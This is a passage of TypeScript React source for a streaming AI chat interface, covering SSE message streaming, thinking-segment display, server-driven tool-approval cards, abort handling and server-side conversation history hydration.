streamMessage,\n    isStreaming,\n    error: sseError,\n    abort,\n    reset,\n  } = useSSE({\n    useMock,\n    debugMode,\n    streamFn,\n  })\n\n  const addMessage = useCallback((message: Message) => {\n    setMessages((prev) => [...prev, message])\n  }, [])\n\n  const updateLastAssistantMessage = useCallback((segments: MessageSegment[]) => {\n    setMessages((prev) => {\n      const newMessages = [...prev]\n      const lastMessage = newMessages[newMessages.length - 1]\n      if (lastMessage && lastMessage.role === 'assistant') {\n        newMessages[newMessages.length - 1] = {\n          ...lastMessage,\n          content: segments.length > 0 ? segments : '',\n        }\n      }\n      return newMessages\n    })\n  }, [])\n\n  const sendMessage = useCallback(\n    async (\n      text: string,\n      extra?: StreamFnExtraOptions,\n      /** When `hidden=true` the user message is added to the conversation\n       *  history (so the LLM sees it as context) but NOT rendered in the\n       *  UI. Used by the host to fire post-approval auto-continuation\n       *  turns without polluting the visible thread with synthetic\n       *  prompts like \"(continue per protocol)\". The assistant response\n       *  IS rendered normally. */\n      options?: { hidden?: boolean },\n    ) => {\n      const userMessage: Message = {\n        id: `user-${Date.now()}`,\n        role: 'user',\n        name: 'You',\n        content: text,\n        timestamp: new Date(),\n        ...(options?.hidden ? { hidden: true } : {}),\n      }\n      addMessage(userMessage)\n\n      setIsTyping(true)\n      currentAssistantSegmentsRef.current = []\n\n      const assistantMessage: Message = {\n        id: `assistant-${Date.now()}`,\n        role: 'assistant',\n        name: assistantName,\n        content: [],\n        timestamp: new Date(),\n        avatar: assistantAvatar,\n      }\n      addMessage(assistantMessage)\n\n      try {\n        let receivedFirstTextChunk = false\n        let currentTextSegment = ''\n\n        for await (const segment of streamMessage(text, extra)) {\n          // Flip isTyping=false ONLY when the first TEXT segment arrives — NOT\n          // on a leading thinking-delta. Reason: <ThinkingDisplay> computes\n          // `isStreaming = (index === segments.length - 1 && isTyping)` and\n          // switches its label \"Thinking\" → \"Thought\" + drops PulseDots when\n          // isStreaming is false. If we flipped isTyping on the first thinking\n          // delta, the very first thinking chunk would render as \"Thought\"\n          // even while the model is still actively thinking. Holding isTyping\n          // true until real text starts keeps the live \"Thinking…\" UX correct.\n          if (!receivedFirstTextChunk && segment.type === 'text') {\n            setIsTyping(false)\n            receivedFirstTextChunk = true\n          }\n\n          if (segment.type === 'text') {\n            currentTextSegment += segment.text\n            const updatedSegments = [...currentAssistantSegmentsRef.current]\n\n            if (\n              updatedSegments.length > 0 &&\n              updatedSegments[updatedSegments.length - 1].type === 'text'\n            ) {\n              updatedSegments[updatedSegments.length - 1] = {\n                type: 'text',\n                text: currentTextSegment,\n              }\n            } else {\n              updatedSegments.push({ type: 'text', text: currentTextSegment })\n            }\n\n            currentAssistantSegmentsRef.current = updatedSegments\n            updateLastAssistantMessage(updatedSegments)\n          } else if (segment.type === 'thinking') {\n            // Adaptive-thinking content from the model. Stash as a single\n            // 'thinking' segment at the front of the message; if the segment\n            // already exists (server flushed thinking in chunks via the\n            // leading-frame loop), replace its text. Order matters: thinking\n            // ALWAYS precedes the answer text so the OSS-lib renders the\n            // ThinkingDisplay card above the answer body.\n            const updatedSegments = [...currentAssistantSegmentsRef.current]\n            const existingThinkingIdx = updatedSegments.findIndex(\n              (s) => s.type === 'thinking',\n            )\n            if (existingThinkingIdx !== -1) {\n              updatedSegments[existingThinkingIdx] = {\n                type: 'thinking',\n                text: segment.text,\n              }\n            } else {\n              // Insert at the FRONT so it renders before any text accumulated.\n              updatedSegments.unshift({ type: 'thinking', text: segment.text })\n            }\n            currentAssistantSegmentsRef.current = updatedSegments\n            updateLastAssistantMessage(updatedSegments)\n          } else if ((segment as any).type === 'approval_request') {\n            // Tool proposal from the server. The streamFn pre-wired\n            // `onApprove`/`onReject` so they POST to\n            // `/api/chat/agent/confirm-tool` with the same proxy auth the\n            // chat stream used. Here we (1) flip the card's `status` from\n            // pending → approved/rejected after the network round-trip,\n            // and (2) append a follow-up TEXT segment so the user sees a\n            // concrete confirmation of what happened.\n            if (currentTextSegment) {\n              const updated = [...currentAssistantSegmentsRef.current]\n              if (updated.length > 0 && updated[updated.length - 1].type === 'text') {\n                updated[updated.length - 1] = { type: 'text', text: currentTextSegment }\n              } else {\n                updated.push({ type: 'text', text: currentTextSegment })\n              }\n              currentAssistantSegmentsRef.current = updated\n              currentTextSegment = ''\n            }\n            const seg = segment as any\n            const proposalId: string = seg.data?.requestId\n            // Locate the assistant message that hosts this approval\n            // segment and apply a transform — INDEPENDENT of\n            // `currentAssistantSegmentsRef`, which the SSE `finally`\n            // resets to `[]` the moment the stream ends. If we mutated\n            // the ref then re-rendered `updateLastAssistantMessage([])`\n            // (the empty ref's snapshot), we'd wipe the assistant\n            // message's content the instant the user clicks Approve.\n            const updateApprovalMessage = (\n              transform: (segments: MessageSegment[]) => MessageSegment[],\n            ) => {\n              setMessages((prev) => {\n                for (let i = prev.length - 1; i >= 0; i--) {\n                  const m = prev[i]\n                  if (m.role !== 'assistant') continue\n                  if (!Array.isArray(m.content)) continue\n                  const segments = m.content as MessageSegment[]\n                  const hasMatch = segments.some(\n                    (s) =>\n                      (s as any).type === 'approval_request' &&\n                      (s as any).data?.requestId === proposalId,\n                  )\n                  if (!hasMatch) continue\n                  const next = [...prev]\n                  next[i] = { ...m, content: transform(segments) }\n                  return next\n                }\n                return prev\n              })\n            }\n            // Server-driven post-approve flow: wrappedApprove/Reject just\n            // fire a new chat turn with `approvalAction` set. The streamFn\n            // routes that turn to `/api/chat/agent/confirm-tool` which\n            // returns SSE — its `decision_resolved` leading frame lands\n            // back as a `type: 'decision_resolved'` segment in this same\n            // loop, where the handler below matches it back to this\n            // approval card via `requestId` and applies status flip +\n            // receipt append. NO client-side orchestration.\n            const wrappedApprove = async (reqId?: string) => {\n              if (!reqId) return\n              await sendMessage(\n                '',\n                { approvalAction: { proposalId: reqId, action: 'approve' } },\n                { hidden: true },\n              )\n            }\n            const wrappedReject = async (reqId?: string) => {\n              if (!reqId) return\n              await sendMessage(\n                '',\n                { approvalAction: { proposalId: reqId, action: 'reject' } },\n                { hidden: true },\n              )\n            }\n            currentAssistantSegmentsRef.current.push({\n              ...seg,\n              onApprove: wrappedApprove,\n              onReject: wrappedReject,\n            })\n            updateLastAssistantMessage([...currentAssistantSegmentsRef.current])\n          } else if ((segment as any).type === 'decision_resolved') {\n            // Server-driven decision frame from /api/chat/agent/confirm-tool.\n            //\n            // Two side-effects:\n            //\n            //   1. SOURCE message (the one carrying the approval card):\n            //      flip the matched approval_request segment's status to\n            //      'approved'/'rejected'.\n            //\n            //   2. CURRENT (new) assistant message: prepend the receipt\n            //      (\"✅ Approved — ticket created: <card>\" etc.) into\n            //      `currentTextSegment`. Subsequent auto-continuation\n            //      text deltas extend the same segment.\n            //\n            // For reject, no auto-continuation text follows — the new\n            // turn carries only the receipt.\n            const decision = segment as unknown as {\n              type: 'decision_resolved'\n              proposalId?: string\n              action: 'approved' | 'rejected'\n              ok: boolean\n              toolName?: string\n              result?: { ticket_id?: string; status?: string | null }\n              /** Server-rendered receipt copy. Computed by the per-source\n               *  `strategy.tools.receiptRenderer(...)`. */\n              receiptText?: string\n              /** True when the server WILL stream an auto-continuation\n               *  Sonnet turn after this frame. */\n              willAutoContinue?: boolean\n            }\n            if (!decision.proposalId) continue\n            // Step 1 — flip the source card's status.\n            setMessages((prev) => {\n              for (let i = prev.length - 1; i >= 0; i--) {\n                const m = prev[i]\n                if (m.role !== 'assistant') continue\n                if (!Array.isArray(m.content)) continue\n                const segments = m.content as MessageSegment[]\n                const hasMatch = segments.some(\n                  (s) =>\n                    (s as any).type === 'approval_request' &&\n                    (s as any).data?.requestId === decision.proposalId,\n                )\n                if (!hasMatch) continue\n                const flipped = segments.map((s) =>\n                  (s as any).type === 'approval_request' &&\n                  (s as any).data?.requestId === decision.proposalId\n                    ? ({ ...(s as any), status: decision.action } as MessageSegment)\n                    : s,\n                )\n                const next = [...prev]\n                next[i] = { ...m, content: flipped }\n                return next\n              }\n              return prev\n            })\n            // Step 2 — receipt text into the CURRENT message.\n            // SERVER-RENDERED. The per-source strategy\n            // (`strategy.tools.receiptRenderer(...)`) computed the copy\n            // and shipped it on the SSE frame as `receiptText`. The\n            // chat-shell is source-agnostic — it just appends the string.\n            const receipt = decision.receiptText ?? null\n            if (receipt === null) {\n              // No server-provided copy → don't fabricate a fallback.\n              continue\n            }\n            currentTextSegment = receipt + '\\n\\n'\n            const updatedSegments = [...currentAssistantSegmentsRef.current]\n            if (\n              updatedSegments.length > 0 &&\n              updatedSegments[updatedSegments.length - 1].type === 'text'\n            ) {\n              updatedSegments[updatedSegments.length - 1] = {\n                type: 'text',\n                text: currentTextSegment,\n              }\n            } else {\n              updatedSegments.push({ type: 'text', text: currentTextSegment })\n            }\n            currentAssistantSegmentsRef.current = updatedSegments\n            // The receipt's `[card://<type>:<id>]` marker resolves via the\n            // card fetch path (hydrate-by-id) — no ref stamping needed.\n            updateLastAssistantMessage(updatedSegments)\n          } else if (segment.type === 'tool_execution') {\n            if (currentTextSegment) {\n              const updatedSegments = [...currentAssistantSegmentsRef.current]\n\n              if (\n                updatedSegments.length > 0 &&\n                updatedSegments[updatedSegments.length - 1].type === 'text'\n              ) {\n                updatedSegments[updatedSegments.length - 1] = {\n                  type: 'text',\n                  text: currentTextSegment,\n                }\n              } else {\n                updatedSegments.push({ type: 'text', text: currentTextSegment })\n              }\n\n              currentAssistantSegmentsRef.current = updatedSegments\n              currentTextSegment = ''\n            }\n\n            const existingToolIndex = currentAssistantSegmentsRef.current.findIndex(\n              (s): s is { type: 'tool_execution'; data: ToolExecutionData } =>\n                isToolSegment(s) &&\n                s.data.type === 'EXECUTING_TOOL' &&\n                s.data.integratedToolType === segment.data.integratedToolType &&\n                s.data.toolFunction === segment.data.toolFunction,\n            )\n\n            if (existingToolIndex !== -1 && segment.data.type === 'EXECUTED_TOOL') {\n              const existingTool = currentAssistantSegmentsRef.current[existingToolIndex] as {\n                type: 'tool_execution'\n                data: ToolExecutionData\n              }\n              currentAssistantSegmentsRef.current[existingToolIndex] = {\n                ...segment,\n                data: {\n                  ...segment.data,\n                  parameters: segment.data.parameters || existingTool.data.parameters,\n                },\n              }\n            } else {\n              currentAssistantSegmentsRef.current.push(segment)\n            }\n\n            updateLastAssistantMessage([...currentAssistantSegmentsRef.current])\n          }\n        }\n      } catch (err) {\n        const errorMessage: Message = {\n          id: `error-${Date.now()}`,\n          role: 'error',\n          content:\n            err instanceof Error\n              ? err.message\n              : 'An error occurred while processing your request.',\n          timestamp: new Date(),\n        }\n        setMessages((prev) => [...prev.slice(0, -1), errorMessage])\n      } finally {\n        setIsTyping(false)\n        // Reject-path on confirm-tool emits ONLY a `decision_resolved`\n        // leading frame and closes — no text segments stream in, so the\n        // placeholder assistant message added by addMessage above would\n        // render as a blank bubble. Remove the trailing assistant message\n        // if it still has no segments.\n        const trailingIsEmpty =\n          Array.isArray(currentAssistantSegmentsRef.current) &&\n          currentAssistantSegmentsRef.current.length === 0\n        if (trailingIsEmpty) {\n          setMessages((prev) => {\n            if (prev.length === 0) return prev\n            const last = prev[prev.length - 1]\n            if (last.role !== 'assistant') return prev\n            if (Array.isArray(last.content) && last.content.length > 0) return prev\n            if (typeof last.content === 'string' && last.content.length > 0) return prev\n            return prev.slice(0, -1)\n          })\n        }\n        currentAssistantSegmentsRef.current = []\n      }\n    },\n    [streamMessage, addMessage, updateLastAssistantMessage, assistantName, assistantAvatar],\n  )\n\n  const handleQuickAction = useCallback(\n    (actionText: string) => {\n      sendMessage(actionText)\n    },\n    [sendMessage],\n  )\n\n  const clearMessages = useCallback(() => {\n    setMessages([])\n    setIsTyping(false)\n    reset()\n  }, [reset])\n\n  /**\n   * Replace-or-prepend server-hydrated history. Called once by the SSE\n   * adapter after `GET /api/docs/chat/history` resolves. If the user already\n   * sent a message before hydration landed, the fetched history is PREPENDED\n   * so nothing typed is lost — correctness is unaffected either way because\n   * the server resolves LLM history from its own store, not from this state.\n   */\n  const hydrateMessages = useCallback((history: Message[]) => {\n    setMessages((prev) => (prev.length === 0 ? history : [...history, ...prev]))\n  }, [])\n\n  /**\n   * Abort the in-flight streamed message. The fetch's AbortSignal terminates\n   * the upstream Anthropic request (so billing stops); the `for await` loop\n   * inside `sendMessage` exits via `useSSE`'s AbortError handling, leaving\n   * the partial assistant response visible to the user.\n   */\n  const stopMessage = useCallback(() => {\n    abort()\n    setIsTyping(false)\n  }, [abort])\n\n  return {\n    messages,\n    isTyping,\n    isStreaming,\n    error: sseError,\n    sendMessage,\n    stopMessage,\n    handleQuickAction,\n    clearMessages,\n    hydrateMessages,\n    hasMessages: messages.length > 0,\n  }\n}\n","'use client'\n\nimport { useState, useCallback, useRef } from 'react'\nimport type { MessageSegment } from '../types/message.types'\nimport type { WireCommandOverride } from '../utils/slash-dispatch-utils'\nimport type { ChatAttachment } from '../utils/chat-attachment-markdown'\n\n/**\n * Stream function signature. The optional `signal` is created fresh per\n * `streamMessage` call so the underlying fetch can be aborted cleanly when\n * the user clicks Stop. Without the signal, abort would only stop yielding\n * chunks at the iterator boundary while the upstream Anthropic request\n * continued running (and billing).\n *\n * `extraOptions` carries per-call extras (currently `commandOverride` for\n * the inline-card \"Discuss\" affordance per v6.1 §B.2.8). Kept generic so\n * future per-call wire fields don't bloat the signature.\n */\nexport interface StreamFnExtraOptions {\n  commandOverride?: WireCommandOverride\n  /** Out-of-band signal for the post-approval / post-reject\n   *  server-driven turn. When set, the streamFn routes to\n   *  `/api/chat/agent/confirm-tool` instead of `/api/docs/chat` and\n   *  encodes the action on the request body. The server emits a\n   *  `decision_resolved` leading frame that the chat-shell uses to\n   *  flip the SOURCE approval card (different assistant message than\n   *  the one being streamed into), then — on approve + write tool —\n   *  pipes the auto-continuation Sonnet response as standard chat SSE\n   *  frames into a NEW assistant turn. The CLIENT does not orchestrate\n   *  the auto-continuation; it just renders frames. */\n  approvalAction?: {\n    proposalId: string\n    action: 'approve' | 'reject'\n  }\n  /** Chat-attachment payload riding alongside the user's text — the\n   *  staged attachments produced by `useChatAttachments`. Server-side,\n   *  `runDocsChat` strips the embedded `/api/storage/view/chat-attachments/...`\n   *  markdown lines from the user's text and replaces them with\n   *  Anthropic image content blocks (raw signed URLs).\n   *\n   *  Wire format: `storagePath` + `viewToken` only — NEVER a `url`\n   *  field. Server validates against `ChatAttachmentSchema` and rejects\n   *  malformed shapes. */\n  pendingAttachments?: ChatAttachment[]\n}\nexport type StreamFn = (\n  message: string,\n  signal?: AbortSignal,\n  extra?: StreamFnExtraOptions,\n) => AsyncGenerator<MessageSegment>\n\ninterface UseSSEOptions {\n  useMock?: boolean\n  debugMode?: boolean\n  /** Custom stream function — when provided, bypasses the mock fallback */\n  streamFn?: StreamFn\n}\n\nexport function useSSE({ useMock = true, debugMode = false, streamFn }: UseSSEOptions = {}) {\n  const [isStreaming, setIsStreaming] = useState(false)\n  const [error, setError] = useState<string | null>(null)\n  const abortControllerRef = useRef<AbortController | null>(null)\n\n  // Lib-side mock fallback — useDocChat ALWAYS sets `useMock: false`,\n  // so this path is unreachable in production usage. Kept as a clear\n  // error so any future caller that flips `useMock: true` without\n  // providing a `streamFn` gets a loud signal instead of a silent\n  // misroute. Hub-side wrappers that need the mock can supply their\n  // own streamFn from a MockChatService.\n  const fallbackStream = useCallback(async function* (): AsyncGenerator<MessageSegment> {\n    throw new Error(\n      '[useSSE] No streamFn provided and `useMock: true` is no longer wired into the lib. ' +\n        'Supply a `streamFn` (see `createDocStreamFn` in use-embedded-chat) or migrate the ' +\n        'mock to your host code.',\n    )\n  }, [])\n\n  const streamMessage = useCallback(\n    async function* (\n      message: string,\n      extra?: StreamFnExtraOptions,\n    ): AsyncGenerator<MessageSegment> {\n      setIsStreaming(true)\n      setError(null)\n\n      // Create a fresh AbortController for this stream. abort() targets it via\n      // the ref; the signal is passed THROUGH to streamFn so the underlying\n      // fetch (and Anthropic upstream) terminates on Stop.\n      const ctrl = new AbortController()\n      abortControllerRef.current = ctrl\n\n      try {\n        const generator = streamFn\n          ? streamFn(message, ctrl.signal, extra)\n          : fallbackStream()\n\n        for await (const chunk of generator) {\n          // Check if aborted\n          if (ctrl.signal.aborted) {\n            break\n          }\n          yield chunk\n        }\n      } catch (err) {\n        // AbortError on user-initiated stop is expected — surface as a no-error\n        // path so the consumer's catch doesn't render a red error message.\n        if ((err as any)?.name === 'AbortError' || ctrl.signal.aborted) {\n          return\n        }\n        const errorMessage = err instanceof Error ? err.message : 'An error occurred'\n        setError(errorMessage)\n        throw err\n      } finally {\n        setIsStreaming(false)\n        // Only clear the ref if it still points at this controller (defensive\n        // — a rapid send-stop-send sequence might have already replaced it).\n        if (abortControllerRef.current === ctrl) {\n          abortControllerRef.current = null\n        }\n      }\n    },\n    [streamFn, fallbackStream],\n  )\n\n  const abort = useCallback(() => {\n    if (abortControllerRef.current) {\n      abortControllerRef.current.abort()\n    }\n    setIsStreaming(false)\n  }, [])\n\n  const reset = useCallback(() => {\n    // Reset state if needed\n  }, [])\n\n  return {\n    streamMessage,\n    isStreaming,\n    error,\n    abort,\n    reset,\n  }\n}\n","'use client'\n\n/**\n * useSseChatAdapter — the SSE/Guide-mode transport adapter for the unified\n * chat surface. One of two `UnifiedChatState` implementations; its NATS\n * counterpart is `useNatsChatAdapter` (Mingo mode). The public\n * `useChat({ mode })` dispatches between them based on `mode.transport`.\n *\n * Phase 3 of the chat unification: the adapter no longer owns a parser or a\n * message-merge layer. Raw response bytes flow\n *\n *   fetch body → createSseFrameDecoder → ChatStreamEvent →\n *   createChatStreamReducer (transport: 'sse') — THE master reader\n *\n * The reducer absorbed `useChat`'s trailing-assistant merge, the\n * `decision_resolved` receipt path, and the sendIdx-keyed\n * sources/meta maps; this file keeps only the transport wiring\n * (fetch/abort, request-body building), the server-issued conversation-id\n * persistence (id ONLY — see below), the mount-time server-history\n * hydration seam, and the public `UnifiedChatState` mapping.\n *\n * Conversation identity + history (server SSOT):\n *\n *   - Conversation ids are SERVER-minted. The first send of a session goes\n *     out id-less; the server mints an id and echoes it in the leading\n *     metadata frame (surfaced by the decoder as\n *     `ChatMetadataEvent.conversationId`), and every later turn echoes it\n *     back in the request body.\n *   - localStorage stores ONLY that echoed id (`chat-conversation-storage`).\n *     Message history lives server-side in `chat_conversations` /\n *     `chat_messages` and is rebuilt on mount via `useChatHistoryHydration`,\n *     which materializes through the reducer (`initializeWithState` /\n *     `prependMessages` + `seedSseMaps`).\n *   - The wire carries ONLY the newest user message — never a replay of the\n *     client-side thread (the server re-reads `chat_messages` by\n *     conversation id on every turn).\n *\n * Two key contracts vs hub-side chat hooks:\n *\n *   1. `source` is READ FROM THE RUNTIME, not a parameter. It is OPTIONAL —\n *      platform-agnostic embedders leave it unset; an empty `source` falls back\n *      to a stable constant (`DEFAULT_CHAT_SOURCE`) for the localStorage\n *      conversation-id namespace. It is NEVER sent on the wire (the hub\n *      resolves source server-side via `currentPlatform()`).\n *\n *   2. `tableIdForDocumentType` is INJECTED via the optional\n *      `tableIdForDocumentType` parameter. Hub callers pass the\n *      registry-backed lookup from `lib/config/rag-table-config`;\n *      embedders that don't supply one fall back to\n *      `defaultTableIdForDocumentType` so the `displayRef` / `discussRef`\n *      Ask + Display buttons WORK out of the box.\n */\n\nimport { useCallback, useMemo, useRef } from 'react'\nimport { useRequiredChatRuntime } from '../../../contexts/chat-runtime-context'\nimport type { ChatRef } from '../chat-ref.types'\nimport type { Message } from '../types/message.types'\nimport type { MessageSegment } from '../types/message.types'\nimport { useSlashCommandRegistry, type SlashCommandSummary } from './use-slash-commands'\nimport { embedAuthedFetch } from '../../../utils/embed-authed-fetch'\nimport type { ScrollAnchor } from '../utils/scroll-anchor'\nimport { buildConfirmToolBody, readServerErrorMessage } from '../../../chat-protocol/confirm-tool'\nimport { createSseFrameDecoder } from '../../../chat-protocol/decode'\nimport type { ChatStreamEvent } from '../../../chat-protocol/events'\nimport {\n  createChatConversationStorage,\n  pruneStaleChatConversationStorage,\n} from '../utils/chat-conversation-storage'\nimport { useChatHistoryHydration } from './use-chat-history-hydration'\nimport { sanitizeTitleForChat } from '../utils/slash-dispatch-utils'\nimport { buildDiscussPrompt } from '../utils/discuss-ref-prompt'\nimport { defaultTableIdForDocumentType } from '../utils/source-icons'\nimport type { WireCommandOverride } from '../utils/slash-dispatch-utils'\nimport type { ChatAttachment } from '../utils/chat-attachment-markdown'\nimport type {\n  UnifiedChatState,\n  UnifiedChatMessage,\n  UnifiedSendMessageOptions,\n} from '../types/unified-chat-state.types'\nimport type { DialogItem } from '../types/component.types'\nimport { createChatDialogStore, DEFAULT_DIALOG_SIDE } from '../stream/chat-dialog-store'\nimport { useChatStreamReducer } from '../stream/use-chat-stream-reducer'\nimport type { ChatDialogStore } from '../stream/chat-dialog-store'\nimport type { ChatStreamReducerOptions } from '../stream/chat-stream-reducer'\n\n// Canonical home of the per-turn meta row moved to the stream module in\n// Phase 3; re-exported here to keep the legacy import path stable.\nexport type { ChatTurnMeta } from '../stream/chat-stream-reducer'\n\n// =============================================================================\n// Public types\n// =============================================================================\n\n/** Source identifier — opaque string ID (registry lookup happens in the\n *  hub-side platform-utils, not in lib). */\nexport type DocSource = string\n\nexport interface ChatSource {\n  index: number\n  name: string\n  path: string\n  documentType: string\n  externalUrl?: string\n  /** Platform that owns the destination at `externalUrl`. */\n  targetPlatform?: string | null\n  /** Primary-key value for single-row chips. */\n  id?: string\n  /** Per-row items for grouped chips. */\n  items?: Array<{\n    id: string\n    documentType: string\n    name: string\n    externalUrl?: string\n    targetPlatform?: string | null\n    /** In-app doc-tree path for markdown / data-room-doc rows so the\n     *  grouped chip's anchor can trigger an in-page doc-tree swap via\n     *  `handleChatNavClick` (parity with single-row chips + cards). */\n    path?: string | null\n  }>\n  /** RagTableConfig.id for this source. */\n  sourceRepo?: string\n  /** Optional display label override returned by the chat API. */\n  label?: string\n}\n\nexport interface DocChatMessage {\n  id: string\n  role: 'user' | 'assistant'\n  /** String form for legacy callers that just want the answer text; structured\n   *  segments include thinking blocks too, which the lib's\n   *  ChatMessageEnhanced renders as <ThinkingDisplay> cards. */\n  content: string\n  /** Structured segments. When set, callers should prefer this over `content`. */\n  segments?: MessageSegment[]\n  sources?: ChatSource[]\n  /** Per-message viewport-positioning hint emitted by the server. */\n  scrollAnchor?: ScrollAnchor\n  /** When true the message is part of the conversation history but is\n   *  NOT rendered in the chat UI. */\n  hidden?: boolean\n}\n\n// `StreamingPhase` is unified across transports — re-exported here to\n// preserve the legacy import path. Canonical home is now\n// `types/unified-chat-state.types.ts`.\nexport type { StreamingPhase } from '../types/unified-chat-state.types'\n\n/**\n * Optional dependency-injection options for `useSseChatAdapter`.\n *\n *   - `tableIdForDocumentType` — looks up the RagTableConfig.id for an\n *     LLM document type. Used by `displayRef` + `discussRef` to translate\n *     an inline-card click into a server-side entity-id filter.\n *\n *     **Defaults to `defaultTableIdForDocumentType` from\n *     `src/utils/source-icons.ts`** — a lib-baked map covering every\n *     documentType currently registered in the hub's RAG_TABLE_CONFIGS.\n *     Override only for polymorphic / per-tenant document types.\n */\nexport interface UseSseChatAdapterOptions {\n  tableIdForDocumentType?: (documentType: string) => string | null\n}\n\nexport interface UseSseChatAdapterRuntimeOptions {\n  /**\n   * When `false` the adapter skips its background slash-command registry\n   * fetch (used to hydrate the `displayRef` table lookup) AND the\n   * mount-time server-history hydration. Mirrors the NATS adapter's\n   * `active` gate: `useUnifiedChat` passes `false` while Guide mode is\n   * configured-but-not-active, so opening the panel in Mingo mode does\n   * NOT hit the commands or history endpoints. Default `true` so\n   * standalone callers keep the eager prefetch.\n   */\n  active?: boolean\n}\n\n// =============================================================================\n// Local persistence — the server-issued conversation id ONLY\n// =============================================================================\n//\n// The ONLY thing persisted locally is the conversation id the SERVER minted\n// and echoed in the leading metadata frame of the session's first turn.\n// The client never generates ids. Message history lives server-side in\n// `chat_conversations` / `chat_messages` (recorded turn-by-turn by the chat\n// route) and is rehydrated on mount via `GET <chatStreamUrl>/history`.\n// localStorage never stores messages, sources, or send counts —\n// the server transcript is the single source of truth for history.\n// (The retired PersistedChatState v1 full-history blobs are swept on mount\n// by `pruneStaleChatConversationStorage` — never read, never migrated.)\n\n/** localStorage namespace used when no `source` is configured on the\n *  runtime. Embedders are platform-agnostic (see `ChatRuntime.source`), so any\n *  stable string works here — the hub passes its real platform instead. */\nconst DEFAULT_CHAT_SOURCE = 'embed'\n\n// Persistence itself lives in `../utils/chat-conversation-storage.ts` (built\n// on the lib-standard `createLocalStorageAdapter`); the mount-time history\n// rebuild lives in `./use-chat-history-hydration.ts`.\n\n/** Server-hydrated wire `Message` → reducer message. Hydrated rows carry\n *  plain-string content; the defensive segments branch keeps the mapper\n *  total over the wider `Message` union the hydration seam is typed with. */\nfunction historyMessageToReducerMessage(m: Message): UnifiedChatMessage {\n  const segments = Array.isArray(m.content) ? (m.content as MessageSegment[]) : undefined\n  return {\n    id: m.id,\n    role: m.role,\n    content: typeof m.content === 'string' ? m.content : '',\n    ...(segments ? { segments } : {}),\n    ...(m.name !== undefined ? { name: m.name } : {}),\n    ...(m.avatar != null ? { avatar: m.avatar } : {}),\n    ...(m.timestamp !== undefined ? { timestamp: m.timestamp } : {}),\n    ...(m.hidden ? { hidden: true } : {}),\n  } as UnifiedChatMessage\n}\n\n// =============================================================================\n// useSseChatAdapter — public hook\n// =============================================================================\n\n/**\n * Stream-driven AI chat hook. Returns the message list, send/stop/clear\n * controls, and per-turn metadata (model name, token counts, routing\n * decision) the lib's `<ChatContainer>` consumes.\n *\n * Source identity comes from `useRequiredChatRuntime().source` — no\n * parameter. An empty `source` falls back to `DEFAULT_CHAT_SOURCE` (used only\n * for the conversation-id localStorage namespace; never sent on the wire).\n */\nexport function useSseChatAdapter(\n  options?: UseSseChatAdapterOptions,\n  runtimeOptions: UseSseChatAdapterRuntimeOptions = {},\n): UnifiedChatState {\n  const { active = true } = runtimeOptions\n  // Chat-specific code REQUIRES a runtime — the lib's `<HubRuntimeProvider>`\n  // (hub) / embedder's provider must wrap the tree.\n  const runtime = useRequiredChatRuntime()\n  const source = runtime.source || DEFAULT_CHAT_SOURCE\n  const tableIdForDocumentType =\n    options?.tableIdForDocumentType ?? defaultTableIdForDocumentType\n\n  // ─── Reducer wiring ────────────────────────────────────────────────────────\n  // One store per hook instance; one reducer keyed by the source. Approval\n  // card buttons fire a server-driven confirm-tool turn via `sendMessage`\n  // (hidden approval-action send) — routed through a ref so the reducer's\n  // creation-time callbacks stay stable.\n\n  const sendMessageRef = useRef<\n    (text: string, options?: InternalSendMessageOptions) => Promise<boolean>\n  >(async () => true)\n\n  // Approve/reject pass the transport's boolean outcome through so batch\n  // approve-all loops can mark a FAILED row (expired proposal, network\n  // error) instead of leaving its execution loader spinning. ONE factory\n  // — the two handlers differ only in the action literal.\n  const cardResolve = useCallback(\n    (action: 'approve' | 'reject') =>\n      (reqId?: string): void | Promise<boolean> => {\n        if (!reqId) return\n        return sendMessageRef.current('', {\n          hidden: true,\n          approvalAction: { proposalId: reqId, action },\n        })\n      },\n    [],\n  )\n  const cardApprove = useMemo(() => cardResolve('approve'), [cardResolve])\n  const cardReject = useMemo(() => cardResolve('reject'), [cardResolve])\n\n  const createReducerOptions = useCallback(\n    (): ChatStreamReducerOptions => ({\n      transport: 'sse',\n      callbacks: { onApprove: cardApprove, onReject: cardReject },\n    }),\n    [cardApprove, cardReject],\n  )\n\n  const storeRef = useRef<ChatDialogStore | null>(null)\n  if (storeRef.current === null) storeRef.current = createChatDialogStore()\n\n  const { state, applyEvent, flushDeltas, mutate, reducer } = useChatStreamReducer({\n    store: storeRef.current,\n    dialogId: source,\n    createReducerOptions,\n  })\n\n  const abortControllerRef = useRef<AbortController | null>(null)\n\n  // ─── Conversation identity — server-minted id, restored once on mount ─────\n  // Null = no conversation yet: the FIRST send goes out without an id, the\n  // server mints one, and the metadata-frame capture (in the send loop below)\n  // stores it. The client NEVER generates ids. This is the ONLY local\n  // persistence — message history hydrates from the server transcript below.\n  const conversationStorage = useMemo(() => createChatConversationStorage(source), [source])\n  const conversationIdRef = useRef<string | null>(null)\n  const restoredConversationRef = useRef(false)\n  if (!restoredConversationRef.current) {\n    restoredConversationRef.current = true\n    // Sweeps other-identity keys AND the retired v1 full-history blobs.\n    pruneStaleChatConversationStorage(source)\n    conversationIdRef.current = conversationStorage.load()?.conversationId ?? null\n  }\n\n  // ─── Slash-command registry (displayRef lookup) ───────────────────────────\n  // Reads from the SAME react-query cache entry as `<EmbeddableChat>`'s\n  // onboarding-card list (keyed on `commandsUrl`), so Guide mode fetches\n  // `commands` ONCE. Gated on `active` so a Mingo-only panel — where this\n  // adapter is mounted but idle — never hits the endpoint.\n  const commandsUrl = runtime.endpoints.commandsUrl\n  const { commands: slashCommands } = useSlashCommandRegistry(commandsUrl, {\n    enabled: active,\n  })\n  const cmdIdByTableId = useMemo(() => {\n    const buckets = new Map<string, SlashCommandSummary[]>()\n    for (const cmd of slashCommands) {\n      if (!cmd.primarySourceId) continue\n      const arr = buckets.get(cmd.primarySourceId) ?? []\n      arr.push(cmd)\n      buckets.set(cmd.primarySourceId, arr)\n    }\n    const map = new Map<string, string>()\n    for (const [tableId, cmds] of buckets) {\n      const display = cmds.find((c) => c.actions.some((a) => a.id === 'display'))\n      const picked =\n        display ??\n        [...cmds].sort((a, b) => {\n          const ao = a.displayOrder ?? Number.POSITIVE_INFINITY\n          const bo = b.displayOrder ?? Number.POSITIVE_INFINITY\n          return ao - bo\n        })[0]\n      if (picked) map.set(tableId, picked.id)\n    }\n    return map\n  }, [slashCommands])\n\n  // ─── Server hydration (history SSOT) ──────────────────────────────────────\n  // Mount-time rebuild of the message list from the server transcript — the\n  // single store of conversation history. The 